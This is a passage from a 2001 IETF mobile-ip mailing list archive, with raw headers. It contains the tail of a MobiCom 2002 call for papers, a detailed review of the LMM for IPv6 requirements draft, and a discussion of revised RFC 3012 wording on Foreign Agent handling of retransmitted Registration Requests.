Mobile agents <BR>*&nbsp; Pervasive computing <BR>*&nbsp; Wireless =
sensor=20
networks <BR>*&nbsp; Wireless/mobile service management and delivery =
</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV>All papers will be refereed by the program committee. Accepted =
papers will=20
be published in the conference proceedings. Papers of particular merit =
will be=20
proposed for publication in the ACM/Baltzer Wireless Networks (WINET) =
and Mobile=20
Networks and Applications (MONET) journals.&nbsp; </DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><U>CHALLENGES SESSION:</U> <BR>Short papers (maximum of 8 pages) =
that=20
challenge the mobile computing community with new technologies or =
visionary=20
applications are solicited. Such papers should provide stimulating ideas =
or=20
visions that may open up exciting avenues of mobile computing research. =
Papers=20
will be reviewed and should be submitted using the normal submission =
procedure.=20
Submitted papers should be clearly identified as intended for the =
Challenges=20
Session.</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><U>SUBMISSION INSTRUCTIONS:</U><BR>All submissions will be handled=20
electronically. The submission formats are limited to PostScript (PS) =
and PDF.=20
Submitted papers must not exceed 12 double-column pages, using a font =
size that=20
is no smaller than 10 points.</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV>Further details of the submission instructions can be found =
at<BR><A=20
href=3D"http://mobicom2002.comet.columbia.edu/submissions">http://mobicom=
2002.comet.columbia.edu/submissions</A></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV>All submitted papers will be judged based on their quality through=20
double-blind reviewing, where the identities of the authors are withheld =
from=20
the reviewers. Authors names must not appear in the paper or in the =
Postscript=20
or PDF file. Please direct any questions about the submission process to =
the=20
Program Co-chairs at <A=20
href=3D"mailto:mobicom2002@comet.columbia.edu">mobicom2002@comet.columbia=
.edu</A>.=20
</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2></FONT><BR><U>TUTORIALS:</U> =
<BR>Proposals for=20
tutorials are solicited, and will be evaluated based on the expertise of =
the=20
instructors and the relevance of the subject matter. Potential =
instructors=20
should submit a tutorial proposal of at most five pages, including a=20
biographical sketch, to the Tutorial Co-chairs (<A=20
href=3D"mailto:cath@ecn.purdue.edu">cath@ecn.purdue.edu</A> or<BR><A=20
href=3D"mailto:nhv@crhc.uiuc.edu">nhv@crhc.uiuc.edu</A>).</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><U>PANELS:</U> <BR>Proposals are solicited for panels that examine=20
innovative, controversial, or otherwise provocative issues of interest. =
Panel=20
proposals should not exceed 3 pages, including biographical sketches of =
the=20
panelists. Potential panel organizers should contact the Panel Co-chairs =
(<A=20
href=3D"mailto:shroff@ecn.purdue.edu">shroff@ecn.purdue.edu</A> or <A=20
href=3D"mailto:marie-jose.montpetit@nokia.com">marie-jose.montpetit@nokia=
.com</A>).</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><U>RESEARCH DEMOS:<BR></U>Proposals for research demos are =
solicited.=20
Proposals should not exceed 3 pages and should include a description of =
the demo=20
and equipment that will be used. Proposals for demos should be sent to =
the=20
Research Demo Chair (<A=20
href=3D"mailto:ron@oit.gatech.edu">ron@oit.gatech.edu</A>).</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><U>BEST STUDENT PAPER AWARD:</U> <BR>Papers with a student as the =
primary=20
author will be considered for the Best Student Paper Award with a cash =
award of=20
$1,000 USD. Students must indicate with their submissions that they =
would like=20
to be considered for this award.</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><U>IMPORTANT DATES:</U> <BR>*&nbsp; Paper submissions due: March 1, =
2002=20
<BR>*&nbsp; Notification of acceptance: June 30, 2002 <BR>*&nbsp; =
Camera-ready=20
version due: July 31, 2002 </DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV>FOR MORE INFORMATION: Check the conference website or send&nbsp; =
email to=20
<A=20
href=3D"mailto:mobicom2002@comet.columbia.edu">mobicom2002@comet.columbia=
.edu</A></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2></FONT><BR><U>ORGANIZING COMMITTEE:</U> =
<BR>*=20
General Chair: Ian F. Akyildiz, Georgia Institute of Technology</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV>* General Vice-Chairs:<BR>&nbsp;&nbsp; - Jason Y. B. Lin, National =
Chiao=20
Tung University<BR>&nbsp;&nbsp; - Ravi Jain, Telcordia</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV>* Program Co-Chairs:<BR>&nbsp;&nbsp; - Vaduvur Bharghavan, =
Bytemobile=20
<BR>&nbsp;&nbsp; - Andrew T. Cambell, Columbia University</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV>* Panels Co-Chairs:<BR>&nbsp;&nbsp; - Ness Shroff, Purdue=20
University<BR>&nbsp;&nbsp; - Marie-Jose Montpetit, Nokia</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV>* Tutorials Co-Chairs:<BR>&nbsp;&nbsp; - Catherine Rosenberg, =
Purdue=20
University <BR>&nbsp;&nbsp; - Nitin Vaidya, University of Illinois at =
Urbana=20
Champaign</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV>* Publicity Co-Chairs:<BR>&nbsp;&nbsp; - Chuanyi Ji, Georgia =
Institute of=20
Technology<BR>&nbsp;&nbsp; - Marwan M. Krunz, University of =
Arizona</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV>* Workshop Co-Chairs:<BR>&nbsp;&nbsp; - Taieb Znati, NSF and =
University of=20
Pittsburgh<BR>&nbsp;&nbsp; - Mehmet Ulema, Monmouth Internet=20
Corporation<BR>&nbsp;<BR>* Research Demos Chair: Ron Hutchins, Georgia =
Institute=20
of Technology</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV>* Finance Chair: Edward Knightly, Rice University</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV>* Registration Chair: Suresh Singh, Portland State University</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV>* Sponsorship/Exhibit Chair: Ramesh Govindan, Univ. of Southern=20
California</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV>* Local Arrangements Chair: Raghupathy Sivakumar: Georgia Institute =
of=20
Technology</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV>* Steering Committee Chair: Imrich Chlamtac, University of Texas at =

Dallas<BR>&nbsp;&nbsp; </DIV></BODY></HTML>

------=_NextPart_000_01C5_01C16C4A.7193DCE0--



From owner-mobile-ip@sunroof.eng.sun.com  Tue Nov 13 21:22:12 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA24583
	for <mobileip-archive@odin.ietf.org>; Tue, 13 Nov 2001 21:22:11 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id TAA09325;
	Tue, 13 Nov 2001 19:20:07 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id SAA00481;
	Tue, 13 Nov 2001 18:20:02 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAE2IrLS012458
	for <mobile-ip-dist@sunroof.eng.sun.com>; Tue, 13 Nov 2001 18:18:53 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAE2Irdp012457
	for mobile-ip-dist; Tue, 13 Nov 2001 18:18:53 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAE2IoLS012450
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 13 Nov 2001 18:18:50 -0800 (PST)
Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id SAA09361
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 13 Nov 2001 18:18:51 -0800 (PST)
Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12])
	by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id SAA11894
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 13 Nov 2001 18:18:51 -0800 (PST)
Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69])
	by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id SAA12963;
	Tue, 13 Nov 2001 18:18:50 -0800 (PST)
Received: (from root@localhost)
	by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id fAE2IoC20488;
	Tue, 13 Nov 2001 18:18:50 -0800
X-mProtect:  Tue, 13 Nov 2001 18:18:50 -0800 Nokia Silicon Valley Messaging Protection
Received: from UNKNOWN (172.18.141.130, claiming to be "iprg.nokia.com")
	by darkstar.iprg.nokia.com(P1.5 smtpdfmzLUa; Tue, 13 Nov 2001 18:18:48 PST
Message-ID: <3BF1D482.E33A9DE0@iprg.nokia.com>
Date: Tue, 13 Nov 2001 18:18:43 -0800
From: Cedric Westphal <cedric@iprg.nokia.com>
Organization: NOKIA
X-Mailer: Mozilla 4.7 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: mobile-ip@sunroof.eng.sun.com
CC: Carl Williams <carlw@docomolabs-usa.com>
Subject: Re: [mobile-ip] LMM for IPv6 requirements draft (new revision .01)
References: <01c901c16990$061f5b90$686015ac@docomocarl>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

great work!
thanks for putting together the LMM requirements draft, and I have a
couple comments.
I organize them as: comments on the reqs, new reqs, and editorial
comments.

----------------------
Comments on the requirements
---------------------
1.2 Principles of the LMM

It seems to me that this subsection belongs to the solution space. "This
is done
by [...] assigning two care-of addresses..." and other sentences like
this one describe how to implement LMM. This should not be in a req
draft. The principles should be at a concept level. Or the whole
paragraph should
be scrapped. (Same issue in 2.0 Terminology:  the LMA is defined in
solution space,
and not concept space).

3.3 Induced LMM functional requirements
("Functional requirements induced by LMM" would be better0

3.3.1 and 3.3.3: I do not see the difference. Please merge or clarify.

3.4 Scalability

Shouldn't 3.3.2 be filed in there?

3.4.1:  "Scalability guarantees to support millions of nodes for an AD"
Is this about scaling, or about supporting a large number of users?
This, unlike
other subsection headings, is not phrased as a requirement. I'd replace
it with
the first sentence, but then again, I don't know what the scaling of a
_framework_
means. Get rid of number references. There is a billion cell phone users
on this
earth today, so millions are already not enough. There are two
requirements in the
paragraph anyway (and they contradict: one says "it should scale", the
other
says "it should be distributed so as to avoid scaling effects").
Also, replace "linearly" with "at most linearly", as we can accept
better than linear
performance.

3.4.4: The last MUST NOT seems hard to enforce. It is expected, and I
don't think
it is bad, that the amount of signaling would increase as the number of
users, as the
Local Domain expands in size.

3.4.7 Technically, it is not triangular routing, as uplink is optimized
and downlink is
triangular. Actually, it assumes that "all traffic MUST go through the
LMM agent"
(MUST emphasis mine), uplink and downlink. More on this later.

'The LMM framework SHOULD support optimal placement...LMM"
This is an implementation issue.  Should be removed.

3.4.8 link layer
I am confused here by this requirement. Is LMM a MIPv6 extension, as
described in
the document? So why does it care about L2 in general, and L2
optimizations in particular?

3.5.1/2/3 Add a mention that if MUST NOT increase is the least expected,
SHOULD decrease
would not be too bad either

3.5.4 Should be removed or clarified. Who is detecting the movement
between seperated domains?
The MN, the CNs, the HA, the LMA? Is it a domain addressing issue (which
should be
left out here). The sentence: "The reason for this ...is that there is a
need...for the mechanism
to work..." is pure casuistic. If it is a non-LMM mechanism, what is it
doing here? Etc.

3.7 LMM disrupts IP routing by adding host routes. Should be rephrased
as: LMM MUST
NOT disrupt IP routing outside of the LM domain.

3.8 Last paragraph "To avoid concentration....populate the
administrative domain". Remove the
paragraph. There is no concern that MNs mobility patterns would be
affected or influenced
by the LMM-agents (btw, it is LMA in the terminology). Is this paragraph
saying that
MN will flock to an access point close to a LMA? Do cell phone users
aggregate in front
of building carrying base stations?

3.12.1 is redundant with 3.4.5 (and 3.4.2 to some extent). As a general
comment, reliability is
dealt in both 3.4 and 3.12, maybe both sections should be merged.

3.14 Quality

What exactly is meant by Quality. Is it QoS, then say so. Otherwise,
clarify.

------------------------------------
Missing reqs
-----------------------------------
Even though you request that no new reqs be provided, let me make the
case for one:

3.15 QoS

The LMM MUST interwork with the QoS schemes to:
3.15.1-hide the mobility of the MN to its peer by avoiding end-to-end
QoS signaling.
3.15.2-facilitate the new provisioning of both uplink and downlink QoS
after a handoff

1- means that the uplink traffic MUST be tunneled through the LMA.
(this is assume in the document, it must be explicited. Current LMM
proposals
(HMIP, RegRegv6) have an uplink that is not tunneled through the LMA.
This allows the CN to be aware of the local mobility of the MN by
looking at
the source IP address.) This draft makes the assumption that the
uplink traffic is tunneled through the LMA (section 3.4.7). It also
mention
provisioning in 1.3 as one of the goals of the LMM.

Having an optimized (non-triangular) uplink means that in case of QoS
renegotiation
after handoff end-to-end for the uplink, the location is not hidden to
the CN. It also introduces
delays and extra signaling in having to renegotiate e2e. By having a
potentially
distinct uplink and downlink, it introduces the need for distinct QoS
signaling uplink
and downlink for re-establishment after handoff. On the other hand, by
having
both uplink and downlink going through the LMA, the handoff implies
changing
on the paths only below the LMA. One QoS re-establishment request can be
sent
to the LMA for both up and downlink.

2-means that LMM and QoS (like LMM and IP routing) MUST work
hand-in-hand.


-----------------------------------
Editorial comments:
-----------------------------------
Abstract:
-add a sentence about relationship between administration domain
and LM domain, or some introduction about what is LM domain.
-"The identified requirement listed": get rid of listed, it's redundant.

-"They are intended to be used as....schemes": split in two or three
clear sentences.

1.0 Introduction:
-"Mobile IPv6 is presented with a number...". replace with: 'is facing',

as Mobile IPv6 is not presented in this document.

1.1 Motivation:
-"It is well established that...loss[1]". Why quoting a paper not yet
published if it
is well established? Get rid of the quote, or quote a well-established
result.
-typo in "with its curent mobility bindings that YIELD".
-"an interdomain Binding Update signal". Replace with "Binding Updates"
-Replace all both "it's" and the "it?s" with "its"
-place the acronym "(BUs)" after "Binding Update", a couple lines
higher,
and not "mobility binding".
-again, why quote [1] to say that the MN time at one AR has to be longer
than
a RTT if it hopes to receive a packet.

1.2 Principles of the LMM:
-First two sentences are redundant. Chop one.
-"This is achieved by introducing LMM Agens....similar to a HA": this
sentence should
disappear, as it is solution space. Replace with something like:
"A LMM agent concept is introduced in this draft. LMMA are the logical
entities
hiding the mobility within the LMMD to the outside of the LMMD" and
modify the end
of the paragraph accordingly.
-this paragraph needs more editing, but I advocate to suppress it
altogether. "regional
care-of (RCoA) address" replaced by "regional care-of address", etc.

1.3 Consideration points for LMM design:
-"principals" replace with "principles"
-replace "consideration points (goals)" with "goals"
-"when designing an LMM framework": this is not design nor framework.
"when specifying
LMM reqs".
-replace "reducing" in the item list with "reduce" twice, or make all
other introductory verbs in
the items in the participle "ing" form.
-the last paragraph ("Identifying..." till "...inpractice today")
is patting itself on the back, on how "solid" the reqs in this draft
are, "robust",
"essential", and a sounde "foundation". While it is true, and the team
should be thanked for
the good work, maybe the self congratulations should be left out.

2.0 Terminology:

LMM: replace "the true peers entity" with "its peers"

3.3.1 The last sentence: "this is so, since experience ...convergence"
should be removed or rephrased.
It is true that it is better to leave routing to routers. However, LMM
is one big contradiction
to this principle.

3.3.2 Maybe add "at most linearly", as "linearly" is good, but better
than linear is even better.

- "This would involve MIP-specific eliminated by any mobility management
protocol including
routing state as binding caches in addition to standard routing table
host routes. While host routes cannot be base IP mobility, any LMM
protocol MUST keep the number of host routes to a minimum."
This sentence should be reworded. At least, I cannot make sense of it.

3.3.5 Again, replace "true peer entities" with "peers"

3.4.5 replace " effected in the routing of the ...applied" with "in the
routing of the LM domain".

3.4.6 Make two sentence of the first paragraph "Any..compression",
"Transfer of compressor...disruption".

3.4.8 replace "doesn't" with "does not"

5.0 References
[1] Replace 'localised' with 'localized'
[3] get rid of question marks

---------------------------------------------------
That's about it.
Thanks again for putting it together, hope you'll find my comments
useful,

Cedric.









From owner-mobile-ip@sunroof.eng.sun.com  Tue Nov 13 22:03:25 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA26111
	for <mobileip-archive@lists.ietf.org>; Tue, 13 Nov 2001 22:03:24 -0500 (EST)
Received: from engmail1.Eng.Sun.COM ([129.146.1.13])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id TAA07817;
	Tue, 13 Nov 2001 19:01:55 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id TAA14705;
	Tue, 13 Nov 2001 19:01:40 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAE308LS012662
	for <mobile-ip-dist@sunroof.eng.sun.com>; Tue, 13 Nov 2001 19:00:08 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAE308fm012661
	for mobile-ip-dist; Tue, 13 Nov 2001 19:00:08 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAE304LS012654
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 13 Nov 2001 19:00:04 -0800 (PST)
Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id SAA21783
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 13 Nov 2001 18:59:47 -0800 (PST)
Received: from docomolabs-usa.com (fridge.docomo-usa.com [216.98.102.228])
	by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id TAA26226
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 13 Nov 2001 19:00:06 -0800 (PST)
Received: from docomocarl (dhcp104.docomo-usa.com [172.21.96.104])
	by docomolabs-usa.com (8.11.3/8.11.3) with SMTP id fAE302501067;
	Tue, 13 Nov 2001 19:00:02 -0800 (PST)
Message-ID: <029701c16cb8$6f463960$686015ac@docomocarl>
From: "Carl Williams" <carlw@docomolabs-usa.com>
To: "Cedric Westphal" <cedric@iprg.nokia.com>, <mobile-ip@sunroof.eng.sun.com>
References: <01c901c16990$061f5b90$686015ac@docomocarl> <3BF1D482.E33A9DE0@iprg.nokia.com>
Subject: Re: [mobile-ip] LMM for IPv6 requirements draft (new revision .01)
Date: Tue, 13 Nov 2001 18:59:53 -0800
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6700
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

\

> Carl:
> 
> great work!
> thanks for putting together the LMM requirements draft, and I have a
> couple comments.
> I organize them as: comments on the reqs, new reqs, and editorial
> comments.
> 

Hi Cedric,

   Thanks, I will review over your comments.

Thanks for reading the draft!

Carl






From owner-mobile-ip@sunroof.eng.sun.com  Tue Nov 13 22:37:39 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA27451
	for <mobileip-archive@odin.ietf.org>; Tue, 13 Nov 2001 22:37:38 -0500 (EST)
Received: from engmail1.Eng.Sun.COM ([129.146.1.13])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id UAA16472;
	Tue, 13 Nov 2001 20:36:09 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id TAA18572;
	Tue, 13 Nov 2001 19:36:17 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAE3ZQLS012816
	for <mobile-ip-dist@sunroof.eng.sun.com>; Tue, 13 Nov 2001 19:35:26 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAE3ZQnt012815
	for mobile-ip-dist; Tue, 13 Nov 2001 19:35:26 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAE3ZMLS012808
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 13 Nov 2001 19:35:22 -0800 (PST)
Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id TAA25684
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 13 Nov 2001 19:35:06 -0800 (PST)
Received: from zrc2s03g.us.nortel.com (h66s122a103n47.user.nortelnetworks.com [47.103.122.66])
	by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id TAA06935
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 13 Nov 2001 19:35:24 -0800 (PST)
Received: from smtprch2.nortel.com (erchg0k.us.nortel.com [47.113.64.104])
	by zrc2s03g.us.nortel.com (8.9.3+Sun/8.9.1) with ESMTP id VAA13676
	for <mobile-ip@sunroof.eng.sun.com>; Tue, 13 Nov 2001 21:35:18 -0600 (CST)
Received: from zrchb200.us.nortel.com by smtprch2.nortel.com;
          Tue, 13 Nov 2001 21:28:13 -0600
Received: by zrchb200.us.nortel.com with Internet Mail Service (5.5.2653.19) 
          id <VPB2S3XZ>; Tue, 13 Nov 2001 21:34:06 -0600
Message-ID: <6B49EDFE974BD51197D70002A56079D82AF57D@zrc2c013.us.nortel.com>
From: "Ahmad Muhanna" <amuhanna@nortelnetworks.com>
To: "'Patil Basavaraj (NET/Dallas)'" <Basavaraj.Patil@nokia.com>,
        "Perkins Charles (IPRG)" <charliep@iprg.nokia.com>
Cc: "Pete Wenzel" <wenzel@nortelnetworks.com>,
        Mobile IP Working Group <mobile-ip@sunroof.eng.sun.com>,
        Pat Calhoun <pcalhoun@diameter.org>
Subject: RE: [mobile-ip] URGENT - rfc3012 interpretation question
Date: Tue, 13 Nov 2001 21:34:01 -0600
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01C16CBD.337B6C70"
X-Orig: <amuhanna@americasm01.nt.com>
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C16CBD.337B6C70
Content-Type: text/plain;
	charset="iso-8859-1"

Hello Charlie;
I am sorry I may sound silly here. 
But can you please put this paragraph all together in order to see how the
final version will read?
I assume that we are revising paragraph No. 3 under section 3.2. which
starts "If a mobile node..."
 
Thanks a lot.

Regards; 

Ahmad Muhanna 
Nortel Networks 
Shasta PDSN-MIP Development 
Phone. + 1 972 685 1416 ESN. 445-1416 
amuhanna@nortelnetworks.com 

-----Original Message-----
From: Patil Basavaraj (NET/Dallas) [mailto:Basavaraj.Patil@nokia.com]
Sent: Tuesday, November 13, 2001 4:20 PM
To: Muhanna, Ahmad [RICH1:2Q20:EXCH]; Perkins Charles (IPRG)
Cc: Wenzel, Pete [RICH2:2Q00:EXCH]; Mobile IP Working Group; Pat Calhoun
Subject: RE: [mobile-ip] URGENT - rfc3012 interpretation question



Charlie proposed the following text:
>======================================================================= 
>
>Here is the new relevant text, in the same paragraph as your original 
>quote: 
>
>      ....      The Foreign Agent SHOULD check that the mobile node is 
>   actually performing a retransmission, by verifying that the relevant 
>   fields of the retransmitted request are the same as represented in 
>   the visitor list entry for the pending Registration Request (section 
>   3.7.1 of [8]).  This verification MUST NOT include the "remaining 
>   Lifetime of the pending registration", or the Identification field 
>   since those values are likely to change even for requests that are 
>   merely retransmissions and not new Registration Requests.  In all 
>   other circumstances, if the Foreign Agent receives   .... 
>
>======================================================================= 
>
>Comments? 
>
>>Ahmad Muhanna: 
>>I hope you would agree that the following change will satisfy the need: 
>>
>>"If a mobile node retransmits a Registration Request with the same 
>>Identification field and the same Challenge extension, and the Foreign 
>>Agent still has a pending Registration Request record in effect for the 
>>mobile node, then the Foreign Agent forwards the Registration Request to 
>>the Home Agent again (see Registration Retransmission, section 3.6.3[8]). 
>>In all other circumstances, if the Foreign Agent receives a Registration 
>>Request with a Challenge extension containing a Challenge value previously

>>used by that mobile node, the Foreign Agent SHOULD send a Registration 
>>Reply to the mobile node containing the Code value STALE_CHALLENGE." 
>
>Regards, 
>Charlie P. 
>
 
I think the text that Charlie proposes makes it quite clear as to what
the FA must do in order to recognize, if it is a retransmission. So I
would recommend going with Charlie's text in the revision for this
spec. 
 
-Basavaraj
 
 
 
 


------_=_NextPart_001_01C16CBD.337B6C70
Content-Type: text/html;
	charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
<TITLE>RE: [mobile-ip] URGENT - rfc3012 interpretation question</TITLE>

<META content="MSHTML 5.00.2314.1000" name=GENERATOR></HEAD>
<BODY>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=536593203-14112001>Hello 
Charlie;</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=536593203-14112001>I am 
sorry I may sound silly here. </SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=536593203-14112001>But 
can you please put this paragraph all together in order to see how the final 
version will read?</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=536593203-14112001>I 
assume that we are revising paragraph No. 3 under section 3.2. which starts "If 
a mobile node..."</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=536593203-14112001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=536593203-14112001>Thanks 
a lot.</SPAN></FONT></DIV>
<P><B><I><FONT color=#0000ff face="Times New Roman">Regards;</FONT></I></B> </P>
<P><B><I><FONT color=#0000ff face="Times New Roman">Ahmad Muhanna</FONT></I></B> 
<BR><B><I><FONT color=#0000ff face="Times New Roman">Nortel 
Networks</FONT></I></B> <BR><I><FONT color=#0000ff face="Times New Roman" 
size=2>Shasta PDSN-MIP Development</FONT></I> <BR><I><B><FONT color=#0000ff 
face="Book Antiqua" size=2>Phone. + 1 972 685 1416 ESN. 445-1416</FONT></B></I> 
<BR><I><B><FONT color=#0000ff face="Book Antiqua" 
size=2>amuhanna@nortelnetworks.com</FONT></B></I> </P>
